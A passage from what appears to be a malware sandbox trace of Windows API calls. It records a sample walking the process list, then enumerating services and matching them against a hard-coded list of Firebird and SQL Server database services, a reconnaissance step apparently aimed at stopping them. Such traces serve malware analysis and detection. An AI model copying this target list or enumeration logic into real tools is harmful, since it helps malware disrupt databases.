szExeFile="svchost.exe")) returned 1 [0245.657] lstrlenW (lpString="svchost.exe") returned 11 [0245.657] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.657] lstrlenW (lpString="svchost.exe") returned 11 [0245.657] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.657] lstrlenW (lpString="svchost.exe") returned 11 [0245.657] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.658] lstrlenW (lpString="svchost.exe") returned 11 [0245.658] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.658] lstrlenW (lpString="svchost.exe") returned 11 [0245.658] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.658] lstrlenW (lpString="svchost.exe") returned 11 [0245.658] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.659] lstrlenW (lpString="svchost.exe") returned 11 [0245.659] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.659] lstrlenW (lpString="svchost.exe") returned 11 [0245.659] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0245.659] lstrlenW (lpString="spoolsv.exe") returned 11 [0245.659] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.660] lstrlenW (lpString="svchost.exe") returned 11 [0245.660] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0245.660] lstrlenW (lpString="audiodg.exe") returned 11 [0245.660] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0245.660] lstrlenW (lpString="svchost.exe") returned 11 [0245.660] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0245.661] lstrlenW (lpString="sihost.exe") returned 10 [0245.661] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0245.661] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0245.661] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0245.661] lstrlenW (lpString="Memory Compression") returned 18 [0245.661] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0245.662] lstrlenW (lpString="taskhostw.exe") returned 13 [0245.662] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0245.662] lstrlenW (lpString="explorer.exe") returned 12 [0245.662] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0245.662] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0245.662] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0245.663] lstrlenW (lpString="SearchUI.exe") returned 12 [0245.663] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0245.663] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0245.663] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0245.663] lstrlenW (lpString="winhost.exe") returned 11 [0245.663] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0245.664] lstrlenW (lpString="cmd.exe") returned 7 [0245.664] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0245.664] lstrlenW (lpString="conhost.exe") returned 11 [0245.664] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0245.664] lstrlenW (lpString="dllhost.exe") returned 11 [0245.664] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0245.665] lstrlenW (lpString="dllhost.exe") returned 11 [0245.665] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0245.665] lstrlenW (lpString="winhost.exe") returned 11 [0245.665] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xea8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0245.665] lstrlenW (lpString="cmd.exe") returned 7 [0245.665] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xeb8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0245.666] lstrlenW (lpString="conhost.exe") returned 11 [0245.666] Process32NextW (in: hSnapshot=0x348, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xeb8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0245.666] CloseHandle (hObject=0x348) returned 1 [0245.666] Sleep (dwMilliseconds=0x1f4) [0246.605] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb4b8 [0246.606] EnumServicesStatusExW (in: hSCManager=0x40eb4b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0246.606] GetLastError () returned 0xea [0246.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x56ae50 [0246.606] EnumServicesStatusExW (in: hSCManager=0x40eb4b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x56ae50, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x56ae50, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0246.607] CloseServiceHandle (hSCObject=0x40eb4b8) returned 1 [0246.607] lstrlenW (lpString="Appinfo") returned 7 [0246.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0246.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0246.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0246.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0246.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0246.607] lstrlenW (lpString="AppXSvc") returned 7 [0246.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0246.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0246.607] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0246.607] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0246.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0246.607] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0246.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0246.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0246.607] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0246.607] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0246.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0246.608] lstrlenW (lpString="Audiosrv") returned 8 [0246.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0246.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0246.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0246.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0246.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0246.608] lstrlenW (lpString="BFE") returned 3 [0246.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0246.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0246.608] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0246.608] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0246.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0246.608] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0246.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0246.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0246.608] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0246.608] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0246.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0246.608] lstrlenW (lpString="CDPSvc") returned 6 [0246.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0246.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0246.608] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0246.608] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0246.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0246.608] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0246.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0246.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0246.608] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0246.608] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0246.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0246.608] lstrlenW (lpString="CryptSvc") returned 8 [0246.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0246.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0246.608] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0246.608] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0246.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0246.608] lstrlenW (lpString="DcomLaunch") returned 10 [0246.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0246.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0246.608] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0246.608] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0246.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0246.608] lstrlenW (lpString="DeviceAssociationService") returned 24 [0246.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0246.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0246.608] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0246.608] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0246.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0246.608] lstrlenW (lpString="Dhcp") returned 4 [0246.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0246.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0246.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0246.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0246.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0246.609] lstrlenW (lpString="Dnscache") returned 8 [0246.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0246.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0246.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0246.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0246.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0246.609] lstrlenW (lpString="DPS") returned 3 [0246.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0246.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0246.609] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0246.609] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0246.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0246.609] lstrlenW (lpString="DusmSvc") returned 7 [0246.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0246.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0246.609] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0246.609] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0246.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0246.609] lstrlenW (lpString="EventLog") returned 8 [0246.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0246.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0246.609] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0246.609] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0246.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0246.609] lstrlenW (lpString="EventSystem") returned 11 [0246.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0246.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0246.609] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0246.609] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0246.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0246.609] lstrlenW (lpString="FontCache") returned 9 [0246.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0246.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0246.609] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0246.609] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0246.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0246.609] lstrlenW (lpString="gpsvc") returned 5 [0246.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0246.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0246.609] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0246.609] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0246.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0246.609] lstrlenW (lpString="iphlpsvc") returned 8 [0246.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0246.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0246.609] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0246.609] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0246.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0246.609] lstrlenW (lpString="KeyIso") returned 6 [0246.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0246.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0246.609] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0246.610] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0246.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0246.610] lstrlenW (lpString="LanmanServer") returned 12 [0246.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0246.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0246.610] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0246.610] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0246.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0246.610] lstrlenW (lpString="LanmanWorkstation") returned 17 [0246.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0246.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0246.610] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0246.610] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0246.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0246.610] lstrlenW (lpString="lfsvc") returned 5 [0246.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0246.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0246.610] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0246.610] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0246.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0246.610] lstrlenW (lpString="lmhosts") returned 7 [0246.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0246.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0246.610] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0246.610] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0246.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0246.610] lstrlenW (lpString="LSM") returned 3 [0246.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0246.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0246.610] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0246.610] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0246.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0246.610] lstrlenW (lpString="MpsSvc") returned 6 [0246.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0246.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0246.610] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0246.610] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0246.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0246.610] lstrlenW (lpString="NcbService") returned 10 [0246.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0246.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0246.610] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0246.610] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0246.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0246.610] lstrlenW (lpString="netprofm") returned 8 [0246.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0246.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0246.610] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0246.610] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0246.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0246.610] lstrlenW (lpString="NgcSvc") returned 6 [0246.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0246.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0246.611] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0246.611] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0246.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0246.611] lstrlenW (lpString="NlaSvc") returned 6 [0246.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0246.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0246.611] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0246.611] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0246.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0246.611] lstrlenW (lpString="nsi") returned 3 [0246.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0246.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") 